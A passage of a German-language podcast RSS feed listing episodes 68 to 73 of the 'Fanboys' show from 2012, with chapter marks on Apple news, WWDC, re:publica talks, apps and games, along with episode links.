+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:01:18</td><td>Anstehen</td></tr><tr><td>00:05:28</td><td>Siri spricht zu den Entwicklern</td></tr><tr><td>00:07:14</td><td>Imagefilm</td></tr><tr><td>00:12:31</td><td>Inhaltsangabe</td></tr><tr><td>00:13:53</td><td>Neue MacBooks Air</td></tr><tr><td>00:17:32</td><td>Neue MacBooks Pro</td></tr><tr><td>00:19:43</td><td>Next-Gen MacBook Pro</td></tr><tr><td>00:20:53</td><td>Kurze Gotye Pause</td></tr><tr><td>00:22:13</td><td>Retinadisplay</td></tr><tr><td>00:34:36</td><td>Lion</td></tr><tr><td>00:38:23</td><td>Powernap</td></tr><tr><td>00:42:17</td><td>Safari</td></tr><tr><td>00:43:59</td><td>iOS6</td></tr><tr><td>00:45:00</td><td>Siri</td></tr><tr><td>00:49:13</td><td>3D Maps</td></tr><tr><td>00:52:25</td><td>Google Rivalität</td></tr><tr><td>00:54:25</td><td>Phone Features</td></tr><tr><td>01:00:38</td><td>Passbook</td></tr><tr><td>01:12:12</td><td>Apple Design Awards</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:01:18" title="Anstehen" />
+ <sc:chapter start="00:05:28" title="Siri spricht zu den Entwicklern" />
+ <sc:chapter start="00:07:14" title="Imagefilm" />
+ <sc:chapter start="00:12:31" title="Inhaltsangabe" />
+ <sc:chapter start="00:13:53" title="Neue MacBooks Air" />
+ <sc:chapter start="00:17:32" title="Neue MacBooks Pro" />
+ <sc:chapter start="00:19:43" title="Next-Gen MacBook Pro" />
+ <sc:chapter start="00:20:53" title="Kurze Gotye Pause" />
+ <sc:chapter start="00:22:13" title="Retinadisplay" />
+ <sc:chapter start="00:34:36" title="Lion" />
+ <sc:chapter start="00:38:23" title="Powernap" />
+ <sc:chapter start="00:42:17" title="Safari" />
+ <sc:chapter start="00:43:59" title="iOS6" />
+ <sc:chapter start="00:45:00" title="Siri" />
+ <sc:chapter start="00:49:13" title="3D Maps" />
+ <sc:chapter start="00:52:25" title="Google Rivalität" />
+ <sc:chapter start="00:54:25" title="Phone Features" />
+ <sc:chapter start="01:00:38" title="Passbook" />
+ <sc:chapter start="01:12:12" title="Apple Design Awards" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2373&amp;user_id=map&amp;title=Fanboys%20Episode%2073&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#73:" />
+ </item>
+ <item>
+ <title>Episode #72 - Longphone</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Longphone</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN072.mp3" length="30627048" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN072</guid>
+ <pubDate>Fri, 01 Jun 2012 00:17:57 +0200</pubDate>
+ <itunes:duration>01:03:40</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:09 Mit Dominik
+00:00:11 Marcel
+00:00:15 und Martin
+00:01:22 rundshow
+00:10:14 Julian Assange und Schweden
+00:16:41 WWDC Vorschau
+00:23:11 Oh Long John
+00:43:48 Tim Cook bei D10
+00:48:43 Apple vs. Flattr
+00:51:18 Reprisal
+00:54:34 Logitech Ultrathin Keyboard Cover
+00:59:58 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:09</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:11</td><td><a href="http://twitter.com/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:00:15</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:01:22</td><td>rundshow</td></tr><tr><td>00:10:14</td><td>Julian Assange und Schweden</td></tr><tr><td>00:16:41</td><td><a href="http://daringfireball.net/2012/05/reading_way_too_much_into_wwdc_schedule" target="_blank">WWDC Vorschau</td></tr><tr><td>00:23:11</td><td><a href="http://www.youtube.com/watch?v=83eSE8pm2x0" target="_blank">Oh Long John</td></tr><tr><td>00:43:48</td><td><a href="http://www.macrumors.com/2012/05/30/video-highlights-of-tim-cooks-d10-interview/" target="_blank">Tim Cook bei D10</td></tr><tr><td>00:48:43</td><td><a href="http://blog.flattr.net/2012/05/apple-rejected-flattr-and-its-not-the-end/" target="_blank">Apple vs. Flattr</td></tr><tr><td>00:51:18</td><td><a href="http://www.reprisaluniverse.com/site/playreprisal/" target="_blank">Reprisal</td></tr><tr><td>00:54:34</td><td><a href="http://www.logitech.com/en-us/tablet-accessories/keyboards/devices/ultrathin-keyboard-cover" target="_blank">Logitech Ultrathin Keyboard Cover</td></tr><tr><td>00:59:58</td><td><a href="http://www.youtube.com/watch?v=nbJy0O4UFSM" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:09" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:11" title="Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:15" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:01:22" title="rundshow" />
+ <sc:chapter start="00:10:14" title="Julian Assange und Schweden" />
+ <sc:chapter start="00:16:41" title="WWDC Vorschau" href="http://daringfireball.net/2012/05/reading_way_too_much_into_wwdc_schedule" />
+ <sc:chapter start="00:23:11" title="Oh Long John" href="http://www.youtube.com/watch?v=83eSE8pm2x0" />
+ <sc:chapter start="00:43:48" title="Tim Cook bei D10" href="http://www.macrumors.com/2012/05/30/video-highlights-of-tim-cooks-d10-interview/" />
+ <sc:chapter start="00:48:43" title="Apple vs. Flattr" href="http://blog.flattr.net/2012/05/apple-rejected-flattr-and-its-not-the-end/" />
+ <sc:chapter start="00:51:18" title="Reprisal" href="http://www.reprisaluniverse.com/site/playreprisal/" />
+ <sc:chapter start="00:54:34" title="Logitech Ultrathin Keyboard Cover" href="http://www.logitech.com/en-us/tablet-accessories/keyboards/devices/ultrathin-keyboard-cover" />
+ <sc:chapter start="00:59:58" title="Rausschmeisser" href="http://www.youtube.com/watch?v=nbJy0O4UFSM" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2372&amp;user_id=map&amp;title=Fanboys%20Episode%2072&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#72:" />
+ </item>
+ <item>
+ <title>Episode #71 - Towelday</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Towelday</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN071.mp3" length="38219695" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN071</guid>
+ <pubDate>Fri, 25 May 2012 20:31:02 +0200</pubDate>
+ <itunes:duration>01:19:29</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:08 Mit Dominik
+00:00:12 Martin
+00:00:14 und Marcel
+00:01:36 republica Talks
+00:07:30 Sigint
+00:12:38 WWDC
+00:17:20 Towelday
+00:20:48 Dirk Gently
+00:26:15 The deeper meaning of liff
+00:29:21 Journey Prototyp
+00:32:23 Airfoil Speakers vs. AppStore
+00:36:48 Instacast vs. AppStore
+00:43:40 Leermedienabgabe
+00:50:25 MacRuby
+00:56:16 Rundshow
+01:00:52 Podcasts streamen
+01:03:57 AppleTV Sounds
+01:08:54 Coda
+01:10:40 Diet Coda
+01:12:29 Xtrail
+01:14:20 Tron: Uprising
+01:19:20 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:08</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:12</td><td><a href="http://twitter.com/map" target="_blank">Martin</td></tr><tr><td>00:00:14</td><td><a href="http://twitter.com/zeitweise" target="_blank">und Marcel</td></tr><tr><td>00:01:36</td><td><a href="http://www.youtube.com/watch?v=GSOj32Jh9rA" target="_blank">republica Talks</td></tr><tr><td>00:07:30</td><td>Sigint</td></tr><tr><td>00:12:38</td><td>WWDC</td></tr><tr><td>00:17:20</td><td><a href="http://en.wikipedia.org/wiki/Towel_Day" target="_blank">Towelday</td></tr><tr><td>00:20:48</td><td><a href="http://www.bbc.co.uk/programmes/b01d8jmz" target="_blank">Dirk Gently</td></tr><tr><td>00:26:15</td><td><a href="http://de.wikipedia.org/wiki/Der_tiefere_Sinn_des_Labenz" target="_blank">The deeper meaning of liff</td></tr><tr><td>00:29:21</td><td><a href="http://gamevideos.1up.com/do/search?searchQuery=journey+prototype)" target="_blank">Journey Prototyp</td></tr><tr><td>00:32:23</td><td><a href="http://daringfireball.net/2012/05/more_on_airfoil_speakers_touch" target="_blank">Airfoil Speakers vs. AppStore</td></tr><tr><td>00:36:48</td><td><a href="http://vemedio.com/blog/posts/flattr-shut-out-from-ios-apps" target="_blank">Instacast vs. AppStore</td></tr><tr><td>00:43:40</td><td><a href="http://hrbruns.de/blog/aus-10-cent-werden-fast-2-euro-der-usb-stick-wird-richtig-teuer/" target="_blank">Leermedienabgabe</td></tr><tr><td>00:50:25</td><td>MacRuby</td></tr><tr><td>00:56:16</td><td>Rundshow</td></tr><tr><td>01:00:52</td><td>Podcasts streamen</td></tr><tr><td>01:03:57</td><td>AppleTV Sounds</td></tr><tr><td>01:08:54</td><td><a href="http://www.panic.com/coda/" target="_blank">Coda</td></tr><tr><td>01:10:40</td><td><a href="http://www.panic.com/dietcoda/" target="_blank">Diet Coda</td></tr><tr><td>01:12:29</td><td><a href="http://sophiestication.com/xtrail/" target="_blank">Xtrail</td></tr><tr><td>01:14:20</td><td><a href="http://www.youtube.com/watch?v=4Sakyg8srKU" target="_blank">Tron: Uprising</td></tr><tr><td>01:19:20</td><td>Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:08" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:12" title="Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:00:14" title="und Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:01:36" title="republica Talks" href="http://www.youtube.com/watch?v=GSOj32Jh9rA" />
+ <sc:chapter start="00:07:30" title="Sigint" />
+ <sc:chapter start="00:12:38" title="WWDC" />
+ <sc:chapter start="00:17:20" title="Towelday" href="http://en.wikipedia.org/wiki/Towel_Day" />
+ <sc:chapter start="00:20:48" title="Dirk Gently" href="http://www.bbc.co.uk/programmes/b01d8jmz" />
+ <sc:chapter start="00:26:15" title="The deeper meaning of liff" href="http://de.wikipedia.org/wiki/Der_tiefere_Sinn_des_Labenz" />
+ <sc:chapter start="00:29:21" title="Journey Prototyp" href="http://gamevideos.1up.com/do/search?searchQuery=journey+prototype)" />
+ <sc:chapter start="00:32:23" title="Airfoil Speakers vs. AppStore" href="http://daringfireball.net/2012/05/more_on_airfoil_speakers_touch" />
+ <sc:chapter start="00:36:48" title="Instacast vs. AppStore" href="http://vemedio.com/blog/posts/flattr-shut-out-from-ios-apps" />
+ <sc:chapter start="00:43:40" title="Leermedienabgabe" href="http://hrbruns.de/blog/aus-10-cent-werden-fast-2-euro-der-usb-stick-wird-richtig-teuer/" />
+ <sc:chapter start="00:50:25" title="MacRuby" />
+ <sc:chapter start="00:56:16" title="Rundshow" />
+ <sc:chapter start="01:00:52" title="Podcasts streamen" />
+ <sc:chapter start="01:03:57" title="AppleTV Sounds" />
+ <sc:chapter start="01:08:54" title="Coda" href="http://www.panic.com/coda/" />
+ <sc:chapter start="01:10:40" title="Diet Coda" href="http://www.panic.com/dietcoda/" />
+ <sc:chapter start="01:12:29" title="Xtrail" href="http://sophiestication.com/xtrail/" />
+ <sc:chapter start="01:14:20" title="Tron: Uprising" href="http://www.youtube.com/watch?v=4Sakyg8srKU" />
+ <sc:chapter start="01:19:20" title="Rausschmeisser" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2371&amp;user_id=map&amp;title=Fanboys%20Episode%2071&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#71:" />
+ </item>
+ <item>
+ <title>Episode #70 - Sirisly uncool</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Sirisly uncool</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN070.mp3" length="40916994" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN070</guid>
+ <pubDate>Thu, 17 May 2012 00:50:29 +0200</pubDate>
+ <itunes:duration>01:25:06</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:08 Mit Dominik
+00:00:10 Marcel
+00:00:13 und Martin
+00:03:47 Rundshow
+00:07:18 Google+ App
+00:12:32 re:publica Videos auf Youtube, irgendwann
+00:14:01 Kaspersky und Apple
+00:18:21 Folge 70
+00:20:06 Perian ist tot
+00:24:34 Früher…
+00:26:37 iOS 6 Gerüchte
+00:29:56 Google Plus und Picasa
+00:31:20 iOS 6
+00:34:38 iPhone 3G Probleme
+00:36:17 Messages Beta Rant
+00:39:33 Podlove
+00:44:11 Schnitzelpress
+00:53:02 Seehofer und Röttgen
+01:01:38 Diablo 3
+01:10:56 Razer Naga
+01:14:44 MagicSleep
+01:17:48 Boblbee Megalopolis Aero
+01:21:56 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:08</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:10</td><td><a href="http://twitter.com/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:00:13</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:03:47</td><td><a href="http://www.youtube.com/watch?v=MDd91hxWDV0" target="_blank">Rundshow</td></tr><tr><td>00:07:18</td><td><a href="http://itunes.apple.com/us/app/google+/id447119634?mt=8" target="_blank">Google+ App</td></tr><tr><td>00:12:32</td><td><a href="http://www.youtube.com/user/republica2010" target="_blank">re:publica Videos auf Youtube, irgendwann</td></tr><tr><td>00:14:01</td><td><a href="http://www.tuaw.com/2012/05/14/apple-invites-kaspersky-lab-to-examine-mac-security/" target="_blank">Kaspersky und Apple</td></tr><tr><td>00:18:21</td><td>Folge 70</td></tr><tr><td>00:20:06</td><td><a href="http://www.tuaw.com/2012/05/14/perian-posts-end-of-life-notice-mac-video-enthusiasts-weep/" target="_blank">Perian ist tot</td></tr><tr><td>00:24:34</td><td>Früher…</td></tr><tr><td>00:26:37</td><td><a href="http://www.macrumors.com/2011/08/01/3d-mapping-company-c3-technologies-acquired-by-Someone/" target="_blank">iOS 6 Gerüchte</td></tr><tr><td>00:29:56</td><td>Google Plus und Picasa</td></tr><tr><td>00:31:20</td><td>iOS 6</td></tr><tr><td>00:34:38</td><td>iPhone 3G Probleme</td></tr><tr><td>00:36:17</td><td>Messages Beta Rant</td></tr><tr><td>00:39:33</td><td><a href="http://podlove.org/" target="_blank">Podlove</td></tr><tr><td>00:44:11</td><td><a href="http://schnitzelpress.org/" target="_blank">Schnitzelpress</td></tr><tr><td>00:53:02</td><td><a href="http://www.spiegel.de/politik/deutschland/kanzlerin-merkel-wirft-roettgen-als-umweltminister-raus-a-833583.html" target="_blank">Seehofer und Röttgen</td></tr><tr><td>01:01:38</td><td><a href="http://eu.battle.net/d3/en/" target="_blank">Diablo 3</td></tr><tr><td>01:10:56</td><td><a href="http://www.whichgamingmouse.com/razer-naga-gaming-mouse-review/" target="_blank">Razer Naga</td></tr><tr><td>01:14:44</td><td><a href="http://itunes.apple.com/us/app/magicsleep/id304698800?mt=8" target="_blank">MagicSleep</td></tr><tr><td>01:17:48</td><td><a href="http://www.boblbee.com/eu/artiklar/Artikelfullpost.asp?id=478&amp;flik=1" target="_blank">Boblbee Megalopolis Aero</td></tr><tr><td>01:21:56</td><td><a href="http://www.youtube.com/watch?v=IQRwNdeQPHc" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:08" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:10" title="Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:13" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:03:47" title="Rundshow" href="http://www.youtube.com/watch?v=MDd91hxWDV0" />
+ <sc:chapter start="00:07:18" title="Google+ App" href="http://itunes.apple.com/us/app/google+/id447119634?mt=8" />
+ <sc:chapter start="00:12:32" title="re:publica Videos auf Youtube, irgendwann" href="http://www.youtube.com/user/republica2010" />
+ <sc:chapter start="00:14:01" title="Kaspersky und Apple" href="http://www.tuaw.com/2012/05/14/apple-invites-kaspersky-lab-to-examine-mac-security/" />
+ <sc:chapter start="00:18:21" title="Folge 70" />
+ <sc:chapter start="00:20:06" title="Perian ist tot" href="http://www.tuaw.com/2012/05/14/perian-posts-end-of-life-notice-mac-video-enthusiasts-weep/" />
+ <sc:chapter start="00:24:34" title="Früher…" />
+ <sc:chapter start="00:26:37" title="iOS 6 Gerüchte" href="http://www.macrumors.com/2011/08/01/3d-mapping-company-c3-technologies-acquired-by-Someone/" />
+ <sc:chapter start="00:29:56" title="Google Plus und Picasa" />
+ <sc:chapter start="00:31:20" title="iOS 6" />
+ <sc:chapter start="00:34:38" title="iPhone 3G Probleme" />
+ <sc:chapter start="00:36:17" title="Messages Beta Rant" />
+ <sc:chapter start="00:39:33" title="Podlove" href="http://podlove.org/" />
+ <sc:chapter start="00:44:11" title="Schnitzelpress" href="http://schnitzelpress.org/" />
+ <sc:chapter start="00:53:02" title="Seehofer und Röttgen" href="http://www.spiegel.de/politik/deutschland/kanzlerin-merkel-wirft-roettgen-als-umweltminister-raus-a-833583.html" />
+ <sc:chapter start="01:01:38" title="Diablo 3" href="http://eu.battle.net/d3/en/" />
+ <sc:chapter start="01:10:56" title="Razer Naga" href="http://www.whichgamingmouse.com/razer-naga-gaming-mouse-review/" />
+ <sc:chapter start="01:14:44" title="MagicSleep" href="http://itunes.apple.com/us/app/magicsleep/id304698800?mt=8" />
+ <sc:chapter start="01:17:48" title="Boblbee Megalopolis Aero" href="http://www.boblbee.com/eu/artiklar/Artikelfullpost.asp?id=478&amp;flik=1" />
+ <sc:chapter start="01:21:56" title="Rausschmeisser" href="http://www.youtube.com/watch?v=IQRwNdeQPHc" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2370&amp;user_id=map&amp;title=Fanboys%20Episode%2070&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#70:" />
+ </item>
+ <item>
+ <title>Episode #69 - Instacats 2.0</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Instacats 2.0</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN069.mp3" length="37726503" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN069</guid>
+ <pubDate>Fri, 11 May 2012 19:10:30 +0200</pubDate>
+ <itunes:duration>01:18:27</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:09 Mit Dominik
+00:00:12 Marcel
+00:00:16 und Martin
+00:05:28 Mac OS 10.7.4
+00:08:38 iOS 5.1.1
+00:14:15 Instacast 2.0
+00:17:26 Ludum Dare
+00:19:15 Millinaut
+00:21:22 Exposed
+00:23:30 Ludum Dare Video
+00:28:03 Twitter App kann jetzt wieder suchen
+00:30:51 Piratenbundesparteitag
+00:40:42 Twitter iOS Probleme
+00:43:00 Profilbild auf OS X
+00:46:02 Photos verschicken
+00:49:00 Line-In per Netzwerk verteilen
+00:51:35 Joghurtbecher
+01:01:41 Warp
+01:07:54 ELSTER Formular Warndurchsage
+01:09:23 Jetpack Joyride
+01:14:14 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:09</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:12</td><td><a href="http://twitter.com/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:00:16</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:05:28</td><td><a href="http://support.apple.com/kb/DL1525" target="_blank">Mac OS 10.7.4</td></tr><tr><td>00:08:38</td><td><a href="http://support.apple.com/kb/DL1521?viewlocale=en_US&locale=en_US" target="_blank">iOS 5.1.1</td></tr><tr><td>00:14:15</td><td><a href="http://vemedio.com/products/instacast" target="_blank">Instacast 2.0</td></tr><tr><td>00:17:26</td><td><a href="http://www.ludumdare.com/compo/ludum-dare-23/?action=preview&uid=11930" target="_blank">Ludum Dare</td></tr><tr><td>00:19:15</td><td><a href="http://mrgan.tumblr.com/post/21739615758/nevens-millinaut-post-mortem" target="_blank">Millinaut</td></tr><tr><td>00:21:22</td><td><a href="http://proceduralactivity.com/ld23/index.php" target="_blank">Exposed</td></tr><tr><td>00:23:30</td><td><a href="http://www.ludumdare.com/compo/2012/04/29/ludum-dare-23-review-extravaganza/" target="_blank">Ludum Dare Video</td></tr><tr><td>00:28:03</td><td>Twitter App kann jetzt wieder suchen</td></tr><tr><td>00:30:51</td><td>Piratenbundesparteitag</td></tr><tr><td>00:40:42</td><td>Twitter iOS Probleme</td></tr><tr><td>00:43:00</td><td>Profilbild auf OS X</td></tr><tr><td>00:46:02</td><td>Photos verschicken</td></tr><tr><td>00:49:00</td><td>Line-In per Netzwerk verteilen</td></tr><tr><td>00:51:35</td><td>Joghurtbecher</td></tr><tr><td>01:01:41</td><td><a href="http://marketplace.xbox.com/de-DE/Product/Warp/66acd000-77fe-1000-9115-d802584111dc" target="_blank">Warp</td></tr><tr><td>01:07:54</td><td>ELSTER Formular Warndurchsage</td></tr><tr><td>01:09:23</td><td><a href="http://itunes.apple.com/us/app/jetpack-joyride/id457446957?mt=8" target="_blank">Jetpack Joyride</td></tr><tr><td>01:14:14</td><td><a href="http://mizukislastchance.bandcamp.com/album/holy-bleep" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2369&amp;user_id=map&amp;title=Fanboys%20Episode%2069&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:09" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:12" title="Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:16" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:05:28" title="Mac OS 10.7.4" href="http://support.apple.com/kb/DL1525" />
+ <sc:chapter start="00:08:38" title="iOS 5.1.1" href="http://support.apple.com/kb/DL1521?viewlocale=en_US&amp;locale=en_US" />
+ <sc:chapter start="00:14:15" title="Instacast 2.0" href="http://vemedio.com/products/instacast" />
+ <sc:chapter start="00:17:26" title="Ludum Dare" href="http://www.ludumdare.com/compo/ludum-dare-23/?action=preview&amp;uid=11930" />
+ <sc:chapter start="00:19:15" title="Millinaut" href="http://mrgan.tumblr.com/post/21739615758/nevens-millinaut-post-mortem" />
+ <sc:chapter start="00:21:22" title="Exposed" href="http://proceduralactivity.com/ld23/index.php" />
+ <sc:chapter start="00:23:30" title="Ludum Dare Video" href="http://www.ludumdare.com/compo/2012/04/29/ludum-dare-23-review-extravaganza/" />
+ <sc:chapter start="00:28:03" title="Twitter App kann jetzt wieder suchen" />
+ <sc:chapter start="00:30:51" title="Piratenbundesparteitag" />
+ <sc:chapter start="00:40:42" title="Twitter iOS Probleme" />
+ <sc:chapter start="00:43:00" title="Profilbild auf OS X" />
+ <sc:chapter start="00:46:02" title="Photos verschicken" />
+ <sc:chapter start="00:49:00" title="Line-In per Netzwerk verteilen" />
+ <sc:chapter start="00:51:35" title="Joghurtbecher" />
+ <sc:chapter start="01:01:41" title="Warp" href="http://marketplace.xbox.com/de-DE/Product/Warp/66acd000-77fe-1000-9115-d802584111dc" />
+ <sc:chapter start="01:07:54" title="ELSTER Formular Warndurchsage" />
+ <sc:chapter start="01:09:23" title="Jetpack Joyride" href="http://itunes.apple.com/us/app/jetpack-joyride/id457446957?mt=8" />
+ <sc:chapter start="01:14:14" title="Rausschmeisser" href="http://mizukislastchance.bandcamp.com/album/holy-bleep" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#69:" />
+ </item>
+ <item>
+ <title>Episode #68 - Fanpersons</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Fanpersons</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN068.mp3" length="40275636" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN068</guid>
+ <pubDate>Sun, 06 May 2012 16:11:10 +0200</pubDate>
+ <itunes:duration>01:23:46</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:29 Mit Tim
+00:00:41 Jella
+00:00:44 Yetzt
+00:00:47 und Martin
+00:02:50 AW: publica
+00:03:31 Die re:publica im Wandel der Zeiten
+00:05:53 Die neue Location
+00:08:26 Sponsorenvorträge
+00:11:59 Openspace
+00:14:10 Wir müssen reden #41
+00:15:02 Wikigeeks
+00:17:03 Hackerbrause: Schlaflos durchs Weltall
+00:17:32 CRE 175
+00:21:24 Rick Falkvinge
+00:26:23 Die Wiederentdeckung der Langsamkeit
+00:39:03 Dark Side of Action
+00:42:46 Florian Hufsky
+00:44:39 Ãœber Depressionen reden, auch online
+00:49:49 taz über "Dark Side of Action"
+00:50:07 WLAN Gejammer
+00:53:49 Bicyclemark über Occupy
+00:58:21 The internet ist people
+00:59:52 mspro über Plattformneutralität
+01:03:03 Mächtiger als Merkel
+01:07:09 Panels
+01:10:43 Die ultimative Talkshow
+01:12:53 Lobo Vortrag
+01:15:53 Party
+01:19:03 Flausch am Morgen
+01:21:20 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:29</td><td><a href="http://twitter.com/timpritlove" target="_blank">Mit Tim</td></tr><tr><td>00:00:41</td><td><a href="http://twitter.com/nienor86" target="_blank">Jella</td></tr><tr><td>00:00:44</td><td><a href="http://twitter.com/yetzt" target="_blank">Yetzt</td></tr><tr><td>00:00:47</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:02:50</td><td><a href="http://re-publica.de" target="_blank">AW: publica</td></tr><tr><td>00:03:31</td><td>Die re:publica im Wandel der Zeiten</td></tr><tr><td>00:05:53</td><td>Die neue Location</td></tr><tr><td>00:08:26</td><td>Sponsorenvorträge</td></tr><tr><td>00:11:59</td><td>Openspace</td></tr><tr><td>00:14:10</td><td><a href="http://wir.muessenreden.de/2012/05/03/wmr41-wir-mussen-reden/" target="_blank">Wir müssen reden #41</td></tr><tr><td>00:15:02</td><td><a href="http://wikigeeks.de/201205/wgs003-das-grose-mashup-rp12-tag-2/" target="_blank">Wikigeeks</td></tr><tr><td>00:17:03</td><td><a href="http://re-publica.de/12/panel/hackerbrause-schlaflos-durchs-weltall/" target="_blank">Hackerbrause: Schlaflos durchs Weltall</td></tr><tr><td>00:17:32</td><td><a href="http://cre.fm/cre175" target="_blank">CRE 175</td></tr><tr><td>00:21:24</td><td><a href="http://re-publica.de/12/panel/activizr/" target="_blank">Rick Falkvinge</td></tr><tr><td>00:26:23</td><td><a href="http://re-publica.de/12/panel/die-wiederentdeckung-der-langsamkeit-warum-podcasts-funktionieren/" target="_blank">Die Wiederentdeckung der Langsamkeit</td></tr><tr><td>00:39:03</td><td><a href="http://the-gay-bar.com/2012/05/06/dark-side-of-action/" target="_blank">Dark Side of Action</td></tr><tr><td>00:42:46</td><td><a href="http://de.wikipedia.org/wiki/Florian_Hufsky" target="_blank">Florian Hufsky</td></tr><tr><td>00:44:39</td><td>Über Depressionen reden, auch online</td></tr><tr><td>00:49:49</td><td><a href="https://www.taz.de/Netzaktivisten-in-Suizidgefahr/!92749/" target="_blank">taz über "Dark Side of Action"</td></tr><tr><td>00:50:07</td><td>WLAN Gejammer</td></tr><tr><td>00:53:49</td><td><a href="http://re-publica.de/12/panel/after-occupy/" target="_blank">Bicyclemark über Occupy</td></tr><tr><td>00:58:21</td><td><a href="http://re-publica.de/12/panel/soylent-green-ah-the-internet-is-people/" target="_blank">The internet ist 